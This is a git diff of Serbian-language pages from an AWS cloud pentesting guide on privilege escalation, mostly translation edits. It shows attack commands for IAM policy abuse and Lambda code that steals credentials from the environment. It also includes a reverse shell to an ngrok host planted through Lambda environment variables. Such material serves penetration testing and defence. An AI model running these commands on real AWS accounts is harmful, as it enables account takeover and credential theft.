samo krađu EC2 uloge akreditiva (jer ćete se povezati putem ssh), ali ne i EMR IAM uloge. +Napomena kako je **EMR uloga** specificirana u `--service-role` i **ec2 uloga** je specificirana u `--ec2-attributes` unutar `InstanceProfile`. Međutim, ova tehnika samo omogućava krađu EC2 uloge (jer ćete se povezati putem ssh), ali ne i EMR IAM uloge. **Potencijalni uticaj:** Privesc na EC2 servisnu ulogu koja je specificirana. ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` -Sa ovim dozvolama, napadač može otići na **AWS konzolu**, kreirati Notebook i pristupiti mu da ukrade IAM ulogu. +Sa ovim dozvolama, napadač može otići na **AWS konzolu**, kreirati Notebook i pristupiti mu kako bi ukrao IAM ulogu. > [!CAUTION] > Čak i ako prikačite IAM ulogu na instancu notebook-a, u mojim testovima sam primetio da sam mogao da ukradem AWS upravljane akreditive, a ne akreditive povezane sa IAM ulogom. @@ -51,7 +51,7 @@ Sa ovim dozvolama, napadač može otići na **AWS konzolu**, kreirati Notebook i ### `elasticmapreduce:OpenEditorInConsole` -Samo sa ovom dozvolom, napadač će moći da pristupi **Jupyter Notebook-u i ukrade IAM ulogu** koja mu je povezana.\ +Samo sa ovom dozvolom, napadač će moći da pristupi **Jupyter Notebook-u i ukrade IAM ulogu** koja mu pripada.\ URL notebook-a je `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` > [!CAUTION] diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index b47b56fdd..168525575 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,12 +4,12 @@ ### `gamelift:RequestUploadCredentials` -Sa ovom dozvolom, napadač može da dobije **novi set kredencijala za korišćenje prilikom otpremanja** novog skupa datoteka za izgradnju igre na Amazon GameLift-ov Amazon S3. Vraća **S3 kredencijale za otpremanje**. +Sa ovom dozvolom, napadač može da dobije **novi set kredencijala za korišćenje prilikom učitavanja** novog seta datoteka za izgradnju igre na Amazon GameLift-ov Amazon S3. Vraća **S3 kredencijale za učitavanje**. ```bash aws gamelift request-upload-credentials \ --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 ``` -## References +## Reference - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 695531aa5..2931ed42d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -**Potencijalni Uticaj:** Privesc na ulogu servisa glue koja se koristi. +**Potencijalni uticaj:** Privesc na ulogu servisa glue koja se koristi. ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Korisnici sa **`iam:PassRole`** u kombinaciji sa bilo kojim od **`glue:CreateJob` ili `glue:UpdateJob`**, i bilo kojim od **`glue:StartJobRun` ili `glue:CreateTrigger`** mogu **napraviti ili ažurirati AWS Glue posao**, pridružujući bilo koji **Glue servisni nalog**, i pokrenuti izvršenje posla. Mogućnosti posla uključuju izvršavanje proizvoljnog Python koda, što se može iskoristiti za uspostavljanje reverzibilne ljuske. Ova reverzibilna ljuska se zatim može koristiti za eksfiltraciju **IAM kredencijala** uloge pridružene Glue poslu, što može dovesti do potencijalnog neovlašćenog pristupa ili radnji na osnovu dozvola te uloge: +Korisnici sa **`iam:PassRole`** u kombinaciji sa bilo kojim od **`glue:CreateJob` ili `glue:UpdateJob`**, i bilo kojim od **`glue:StartJobRun` ili `glue:CreateTrigger`** mogu **kreirati ili ažurirati AWS Glue posao**, pridružujući bilo koji **Glue servisni nalog**, i pokrenuti izvršenje posla. Mogućnosti posla uključuju izvršavanje proizvoljnog Python koda, što se može iskoristiti za uspostavljanje reverzibilne ljuske. Ova reverzibilna ljuska se zatim može koristiti za eksfiltraciju **IAM kredencijala** uloge pridružene Glue poslu, što može dovesti do potencijalnog neovlašćenog pristupa ili radnji na osnovu dozvola te uloge: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -71,13 +71,13 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \ --actions '[{"JobName": "privesctest"}]' --start-on-creation \ --schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` -**Potencijalni Uticaj:** Privesc na ulogu servisa glue koja je specificirana. +**Potencijalni Uticaj:** Privesc na ulogu glue servisa koja je specificirana. ### `glue:UpdateJob` -Samo sa dozvolom za ažuriranje, napadač bi mogao da ukrade IAM kredencijale već prikačene uloge. +Samo sa dozvolom za ažuriranje, napadač bi mogao da ukrade IAM kredencijale već pridružene uloge. -**Potencijalni Uticaj:** Privesc na ulogu servisa glue koja je prikačena. +**Potencijalni Uticaj:** Privesc na ulogu glue servisa koja je pridružena. ## Reference diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index f23d194b8..79855f263 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -14,16 +14,16 @@ Za više informacija o IAM-u pogledajte: Daje mogućnost kreiranja nove verzije IAM politike, zaobilazeći potrebu za `iam:SetDefaultPolicyVersion` dozvolom korišćenjem `--set-as-default` oznake. Ovo omogućava definisanje prilagođenih dozvola. -**Exploit Command:** +**Eksploataciona komanda:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Uticaj:** Direktno escalira privilegije omogućavajući bilo koju akciju na bilo kojem resursu. +**Uticaj:** Direktno povećava privilegije omogućavajući bilo koju akciju na bilo kojem resursu. ### **`iam:SetDefaultPolicyVersion`** -Omogućava promenu podrazumevane verzije IAM politike na drugu postojeću verziju, potencijalno escalirajući privilegije ako nova verzija ima više dozvola. +Omogućava promenu podrazumevane verzije IAM politike na drugu postojeću verziju, potencijalno povećavajući privilegije ako nova verzija ima više dozvola. **Bash Komanda:** ```bash @@ -33,7 +33,7 @@ aws iam set-default-policy-version --policy-arn --version-id ### **`iam:CreateAccessKey`** -Omogućava kreiranje ID-a pristupnog ključa i tajnog pristupnog ključa za drugog korisnika, što može dovesti do potencijalnog povećanja privilegija. +Omogućava kreiranje ID ključa za pristup i tajnog ključa za pristup za drugog korisnika, što može dovesti do potencijalnog povećanja privilegija. **Eksploatacija:** ```bash @@ -69,9 +69,9 @@ aws iam update-access-key --access-key-id --status Active --user ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Omogućava generisanje ili resetovanje kredencijala za specifične AWS usluge (npr. CodeCommit, Amazon Keyspaces), nasleđujući dozvole povezanog korisnika. +Omogućava generisanje ili resetovanje kredencijala za specifične AWS usluge (npr., CodeCommit, Amazon Keyspaces), nasleđujući dozvole povezanog korisnika. -**Eksploatacija za kreiranje:** +**Eksploatacija za Kreiranje:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` @@ -93,7 +93,7 @@ aws iam attach-user-policy --user-name --policy-arn "" ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Uticaj:** Direktno povećanje privilegija na sve što politika odobrava. +**Uticaj:** Direktno povećanje privilegija na sve što politika omogućava. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** @@ -141,7 +141,7 @@ aws iam add-user-to-group --group-name --user-name ### **`iam:UpdateAssumeRolePolicy`** -Omogućava izmene dokumenta politike pretpostavljanja uloge, omogućavajući pretpostavljanje uloge i njenih povezanih dozvola. +Omogućava izmenu dokumenta politike pretpostavljanja uloge, omogućavajući preuzimanje uloge i njenih povezanih dozvola. **Eksploatacija:** ```bash @@ -183,7 +183,7 @@ aws iam deactivate-mfa-device --user-name --serial-number --serial-number \ --authentication-code1 --authentication-code2 @@ -194,7 +194,7 @@ aws iam resync-mfa-device --user-name --serial-number Sa ovim dozvolama možete **promeniti XML metapodatke SAML veze**. Tada biste mogli zloupotrebiti **SAML federaciju** da se **prijavite** sa bilo kojom **ulogom koja joj veruje**. -Imajte na umu da će **legitimni korisnici moći da se prijave**. Međutim, mogli biste dobiti XML, tako da možete staviti svoj, prijaviti se i konfigurisati prethodni nazad. +Imajte na umu da će **legitimni korisnici moći da se prijave**. Međutim, mogli biste dobiti XML, tako da možete staviti svoj, prijaviti se i konfigurisati prethodni. ```bash # List SAMLs aws iam list-saml-providers @@ -224,7 +224,7 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Update Thumbprints (The thumbprint is always a 40-character string) aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 ``` -## References +## Reference - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index 683c3308f..6b3337b44 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -49,7 +49,7 @@ policy.json: ``` ### `kms:CreateGrant` -Omogućava **principal-u da koristi KMS ključ:** +Ovo **omogućava principalu da koristi KMS ključ:** ```bash aws kms create-grant \ --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ @@ -76,9 +76,9 @@ aws kms list-grants --key-id ``` ### `kms:CreateKey`, `kms:ReplicateKey` -Sa ovim dozvolama moguće je replicirati KMS ključ omogućen za više regiona u drugom regionu sa drugom politikom. +Sa ovim dozvolama moguće je replicirati KMS ključ omogućen za više regiona u drugom regionu sa drugačijom politikom. -Dakle, napadač bi mogao da iskoristi ovo da dobije privesc svoj pristup ključa i koristi ga. +Dakle, napadač bi mogao da iskoristi ovo da dobije privesc svoj pristup ključu i koristi ga. ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index 7c9d8c302..8de3f424a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -13,7 +13,7 @@ Više informacija o lambda u: ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, i `lambda:InvokeFunction`** dozvolama mogu da eskaliraju svoje privilegije.\ -Mogu **napraviti novu Lambda funkciju i dodeliti joj postojeću IAM ulogu**, dajući funkciji dozvole povezane sa tom ulogom. Korisnik može zatim **napisati i otpremiti kod u ovu Lambda funkciju (sa rev shell-om na primer)**.\ +Mogu **napraviti novu Lambda funkciju i dodeliti joj postojeću IAM ulogu**, dajući funkciji dozvole povezane sa tom ulogom. Korisnik može zatim **napisati i otpremiti kod u ovu Lambda funkciju (na primer, sa rev shell-om)**.\ Kada je funkcija postavljena, korisnik može **pokrenuti njeno izvršavanje** i nameravane akcije pozivajući Lambda funkciju putem AWS API-ja. Ovaj pristup efikasno omogućava korisniku da izvršava zadatke indirektno kroz Lambda funkciju, delujući sa nivoom pristupa koji je dodeljen IAM ulozi povezanoj sa njom.\\ Napadač bi mogao da zloupotrebi ovo da dobije **rev shell i ukrade token**: @@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` -Takođe je moguće iscuriti kredencijale uloge lambda bez potrebe za spoljnjom vezom. Ovo bi bilo korisno za **Network isolated Lambdas** korišćene za interne zadatke. Ako postoje nepoznate sigurnosne grupe koje filtriraju vaše obrnute ljuske, ovaj deo koda će vam omogućiti da direktno iscurite kredencijale kao izlaz lambda. +Takođe je moguće otkriti kredencijale uloge lambda bez potrebe za spoljnim povezivanjem. Ovo bi bilo korisno za **Network isolated Lambdas** korišćene za interne zadatke. Ako postoje nepoznate sigurnosne grupe koje filtriraju vaše obrnute ljuske, ovaj deo koda će vam omogućiti da direktno otkrijete kredencijale kao izlaz lambda. ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() @@ -72,7 +72,7 @@ return { aws lambda invoke --function-name output.txt cat output.txt ``` -**Potencijalni Uticaj:** Direktno privesc na proizvoljnu lambda servisnu ulogu koja je navedena. +**Potencijalni uticaj:** Direktno privesc na proizvoljnu lambda servisnu ulogu koja je navedena. > [!CAUTION] > Imajte na umu da čak i ako izgleda zanimljivo **`lambda:InvokeAsync`** **ne** omogućava samo po sebi da **izvršite `aws lambda invoke-async`**, takođe vam je potrebna `lambda:InvokeFunction` @@ -85,21 +85,21 @@ Kao u prethodnom scenariju, možete **dodeliti sebi dozvolu `lambda:InvokeFuncti aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` -**Potencijalni Uticaj:** Direktno privesc na proizvoljnu lambda servisnu ulogu koja je navedena. +**Potencijalni uticaj:** Direktno privesc na proizvoljnu lambda servisnu ulogu koja je navedena. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, i `lambda:CreateEventSourceMapping`** dozvolama (i potencijalno `dynamodb:PutItem` i `dynamodb:CreateTable`) mogu indirektno **escalirati privilegije** čak i bez `lambda:InvokeFunction`.\ -Mogu kreirati **Lambda funkciju sa zlonamernim kodom i dodeliti joj postojeću IAM ulogu**. +Korisnici sa **`iam:PassRole`, `lambda:CreateFunction` i `lambda:CreateEventSourceMapping`** dozvolama (i potencijalno `dynamodb:PutItem` i `dynamodb:CreateTable`) mogu indirektno **povećati privilegije** čak i bez `lambda:InvokeFunction`.\ +Mogu kreirati **Lambda funkciju sa zloćudnim kodom i dodeliti joj postojeću IAM ulogu**. -Umesto da direktno pozivaju Lambda, korisnik postavlja ili koristi postojeću DynamoDB tabelu, povezujući je sa Lambdom putem mape izvora događaja. Ova postavka osigurava da se Lambda funkcija **automatski aktivira prilikom unosa novog stavke** u tabelu, bilo akcijom korisnika ili nekim drugim procesom, čime se indirektno poziva Lambda funkcija i izvršava kod sa dozvolama dodeljene IAM uloge. +Umesto da direktno pozivaju Lambda, korisnik postavlja ili koristi postojeću DynamoDB tabelu, povezujući je sa Lambdom putem mape izvora događaja. Ova postavka osigurava da se Lambda funkcija **automatski aktivira prilikom unosa novog stavke** u tabelu, bilo od strane korisnika ili drugog procesa, čime se indirektno poziva Lambda funkcija i izvršava kod sa privilegijama dodeljene IAM uloge. ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` -Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo **treba da uspostavi mapiranje izvora događaja** za Lambda funkciju. Međutim, ako se DynamoDB ne koristi, korisnik mora **da kreira novu tabelu** sa omogućenom striming funkcijom: +Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo **treba da uspostavi mapiranje izvora događaja** za Lambda funkciju. Međutim, ako se DynamoDB ne koristi, korisnik mora **da kreira novu tabelu** sa omogućenom striming funkcionalnošću: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ @@ -113,16 +113,16 @@ aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ --enabled --starting-position LATEST ``` -Sa Lambda funkcijom povezanošću sa DynamoDB strimom, napadač može **indirektno aktivirati Lambda funkciju aktiviranjem DynamoDB strima**. To se može postići **ubacivanjem stavke** u DynamoDB tabelu: +Sa Lambda funkcijom povezanošću sa DynamoDB strimom, napadač može **indirektno aktivirati Lambda tako što će aktivirati DynamoDB strim**. To se može postići **ubacivanjem stavke** u DynamoDB tabelu: ```bash aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} ``` -**Potencijalni uticaj:** Direktno privesc na ulogu lambda servisa koja je navedena. +**Potencijalni uticaj:** Direktno privesc na lambda servisnu ulogu koja je navedena. ### `lambda:AddPermission` -Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) bilo kakve dozvole** (ovo generiše politike zasnovane na resursima za dodeljivanje pristupa resursu): +Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) bilo koje dozvole** (ovo generiše politike zasnovane na resursima za dodeljivanje pristupa resursu): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -157,13 +157,13 @@ aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` -**Potencijalni uticaj:** Direktno privesc na ulogu lambda servisa koja se koristi. +**Potencijalni uticaj:** Direktno privesc na lambda servisnu ulogu koja se koristi. ### `lambda:UpdateFunctionConfiguration` #### RCE putem env varijabli -Sa ovim dozvolama je moguće dodati varijable okruženja koje će uzrokovati da Lambda izvrši proizvoljan kod. Na primer, u python-u je moguće zloupotrebiti varijable okruženja `PYTHONWARNING` i `BROWSER` da bi se python proces izvršio proizvoljne komande: +Sa ovim dozvolama moguće je dodati varijable okruženja koje će uzrokovati da Lambda izvrši proizvoljan kod. Na primer, u python-u je moguće zloupotrebiti varijable okruženja `PYTHONWARNING` i `BROWSER` da bi se python proces izvršio proizvoljne komande: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` @@ -202,7 +202,7 @@ Na primer, biblioteka boto3 se učitava iz `/var/runtime/boto3` (4. pozicija). #### Eksploatacija -Moguće je zloupotrebiti dozvolu `lambda:UpdateFunctionConfiguration` da **dodate novi sloj** funkciji lambda. Da biste izvršili proizvoljan kod, ovaj sloj treba da sadrži neku **biblioteku koju će lambda uvesti.** Ako možete da pročitate kod lambda, mogli biste to lako da pronađete, takođe imajte na umu da može biti moguće da lambda **već koristi sloj** i da možete **preuzeti** sloj i **dodati svoj kod** unutra. +Moguće je zloupotrebiti dozvolu `lambda:UpdateFunctionConfiguration` da **dodate novi sloj** funkciji lambda. Da biste izvršili proizvoljan kod, ovaj sloj treba da sadrži neku **biblioteku koju će lambda uvesti.** Ako možete da pročitate kod lambda, mogli biste to lako pronaći, takođe imajte na umu da može biti moguće da lambda **već koristi sloj** i da možete **preuzeti** sloj i **dodati svoj kod** unutra. Na primer, pretpostavimo da lambda koristi biblioteku boto3, ovo će kreirati lokalni sloj sa poslednjom verzijom biblioteke: ```bash @@ -221,16 +221,16 @@ aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ --action lambda:GetLayerVersion --principal * ``` -I prikačite lambda sloj na funkciju žrtve: +I prikačite lambda sloj na funkciju lambda žrtve: ```bash aws lambda update-function-configuration \ --function-name \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` -Sledeći korak bi bio ili da **pozovemo funkciju** sami ako možemo ili da čekamo da **bude pozvana** normalnim sredstvima – što je sigurnija metoda. +Sledeći korak bi bio da ili **pozovemo funkciju** sami ako možemo ili da čekamo da **bude pozvana** normalnim sredstvima – što je sigurnija metoda. -**Skriveniji način za iskorišćavanje ove ranjivosti** može se naći u: +**Sofisticiraniji način za iskorišćavanje ove ranjivosti** može se naći u: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -240,11 +240,11 @@ Sledeći korak bi bio ili da **pozovemo funkciju** sami ako možemo ili da čeka ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Možda sa tim dozvolama možete da kreirate funkciju i izvršite je pozivajući URL... ali nisam mogao da pronađem način da to testiram, pa mi javite ako vi uspete! +Možda sa tim dozvolama možete kreirati funkciju i izvršiti je pozivajući URL... ali nisam mogao da pronađem način da to testiram, pa javite mi ako uspete! ### Lambda MitM -Neki lambdas će **primati osetljive informacije od korisnika u parametrima.** Ako dobijete RCE u jednom od njih, možete exfiltrirati informacije koje drugi korisnici šalju, proverite to u: +Neki lambdas će **primati osetljive informacije od korisnika u parametrima.** Ako dobijete RCE u jednom od njih, možete eksfiltrirati informacije koje drugi korisnici šalju, proverite to u: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index e4d013265..afc773722 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -4,14 +4,14 @@ ## Lightsail -Za više informacija o Lightsail-u pogledajte: +Za više informacija o Lightsail, pogledajte: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} > [!WARNING] -> Važno je napomenuti da Lightsail **ne koristi IAM uloge koje pripadaju korisniku** već AWS upravljanom nalogu, tako da ne možete zloupotrebiti ovu uslugu za privesc. Međutim, **osetljivi podaci** kao što su kod, API ključevi i informacije o bazi podataka mogli bi se naći u ovoj usluzi. +> Važno je napomenuti da Lightsail **ne koristi IAM uloge koje pripadaju korisniku** već AWS upravljanom nalogu, tako da ne možete zloupotrebiti ovu uslugu za privesc. Međutim, **osetljivi podaci** kao što su kod, API ključevi i informacije o bazi podataka mogli bi se pronaći u ovoj usluzi. ### `lightsail:DownloadDefaultKeyPair` @@ -31,11 +31,11 @@ aws lightsail get-instance-access-details --instance-name ### `lightsail:CreateBucketAccessKey` -Ova dozvola će vam omogućiti da dobijete ključ za pristup bucket-u: +Ova dozvola će vam omogućiti da dobijete ključ za pristup kanti: ```bash aws lightsail create-bucket-access-key --bucket-name ``` -**Potencijalni uticaj:** Pronađite osetljive informacije unutar kante. +**Potencijalni uticaj:** Pronaći osetljive informacije unutar kante. ### `lightsail:GetRelationalDatabaseMasterUserPassword` @@ -79,14 +79,14 @@ aws lightsail put-instance-public-ports \ ### `lightsail:SetResourceAccessForBucket` -Ova dozvola omogućava dodeljivanje pristupa instancama za bucket bez dodatnih akreditiva. +Ova dozvola omogućava pristup instancama ka bucket-u bez dodatnih kredencijala. ```bash aws set-resource-access-for-bucket \ --resource-name \ --bucket-name \ --access allow ``` -**Potencijalni Uticaj:** Potencijalni novi pristup kanticama sa osetljivim informacijama. +**Potencijalni uticaj:** Potencijalni novi pristup kanticama sa osetljivim informacijama. ### `lightsail:UpdateBucket` @@ -105,13 +105,13 @@ aws update-bucket --bucket-name --access-rules getObject=private,allowPu ### `lightsail:UpdateContainerService` -Sa ovom dozvolom, napadač bi mogao da omogući pristup privatnim ECR-ima iz servisa kontejnera. +Sa ovim dozvolama, napadač bi mogao da omogući pristup privatnim ECR-ima iz servisa kontejnera. ```bash aws update-container-service \ --service-name \ --private-registry-access ecrImagePullerRole={isActive=boolean} ``` -**Potencijalni Uticaj:** Dobijanje osetljivih informacija iz privatnog ECR +**Potencijalni uticaj:** Dobijanje osetljivih informacija iz privatnog ECR ### `lightsail:CreateDomainEntry` @@ -131,6 +131,6 @@ aws lightsail update-domain-entry \ --domain-name example.com \ --domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` -**Potencijalni Uticaj:** Preuzimanje domena +**Potencijalni uticaj:** Preuzimanje domena {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index 4b208f0eb..38d56bdc2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -4,17 +4,17 @@ ### `mediapackage:RotateChannelCredentials` -Menja korisničko ime i lozinku prvog IngestEndpoint-a kanala. (Ova API je zastarela za RotateIngestEndpointCredentials) +Menja korisničko ime i lozinku prvog IngestEndpoint-a kanala. (Ovaj API je zastareo za RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-channel-credentials --id ``` ### `mediapackage:RotateIngestEndpointCredentials` -Menja korisničko ime i lozinku prvog IngestEndpoint-a kanala. (Ovaj API je zastareo za RotateIngestEndpointCredentials) +Menja korisničko ime i lozinku prvog IngestEndpoint-a kanala. (Ova API je zastarela za RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` -## References +## Reference - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index fb593b4d9..e3c061ff2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -4,7 +4,7 @@ ## MQ -Za više informacija o MQ, pogledajte: +Za više informacija o MQ proverite: {{#ref}} ../aws-services/aws-mq-enum.md @@ -36,7 +36,7 @@ Ako broker koristi **LDAP** za autorizaciju sa **ActiveMQ**. Moguće je **promen aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` -Ako biste nekako mogli pronaći originalne akreditive korišćene od strane ActiveMQ, mogli biste izvesti MitM, ukrasti akreditive, koristiti ih na originalnom serveru i poslati odgovor (možda samo ponovnim korišćenjem ukradenih akreditiva mogli biste to uraditi). +Ako biste nekako mogli pronaći originalne akreditive korišćene od strane ActiveMQ, mogli biste izvesti MitM, ukrasti akreditive, koristiti ih na originalnom serveru i poslati odgovor (možda samo ponovo koristeći ukradene akreditive mogli biste to uraditi). **Potencijalni uticaj:** Ukrasti ActiveMQ akreditive diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index 1ed8ae804..86b88d6f2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -1,4 +1,4 @@ -# AWS - Organizations Privesc +# AWS - Organizacije Privesc {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index d531ab9fd..eaffd8c87 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -27,7 +27,7 @@ aws rds modify-db-instance \ psql postgresql://:@:5432/ ``` > [!WARNING] -> Moraćete da budete u mogućnosti da **kontaktirate bazu podataka** (obično su dostupne samo iz unutrašnjih mreža). +> Moraćete da možete da **kontaktirate bazu podataka** (obično su dostupne samo iz unutrašnjih mreža). **Potencijalni uticaj:** Pronaći osetljive informacije unutar baza podataka. @@ -42,15 +42,15 @@ Prema [**dokumentaciji**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide > [!TIP] > Ako pokrenete **`SELECT datname FROM pg_database;`** i pronađete bazu podataka pod nazivom **`rdsadmin`**, znate da ste unutar **AWS postgresql baze podataka**. -Prvo možete proveriti da li je ova baza podataka korišćena za pristup bilo kojoj drugoj AWS usluzi. Možete to proveriti gledajući instalirane ekstenzije: +Prvo možete proveriti da li je ova baza podataka korišćena za pristup bilo kojoj drugoj AWS usluzi. To možete proveriti gledajući instalirane ekstenzije: ```sql SELECT * FROM pg_extension; ``` Ako pronađete nešto poput **`aws_s3`**, možete pretpostaviti da ova baza podataka ima **neku vrstu pristupa S3** (postoje i druge ekstenzije kao što su **`aws_ml`** i **`aws_lambda`**). -Takođe, ako imate dozvole da pokrenete **`aws rds describe-db-clusters`**, možete videti da li **klaster ima neku IAM ulogu prikačenu** u polju **`AssociatedRoles`**. Ako ima, možete pretpostaviti da je baza podataka **pripremljena za pristup drugim AWS uslugama**. Na osnovu **imena uloge** (ili ako možete dobiti **dozvole** uloge) mogli biste **pretpostaviti** koji dodatni pristup 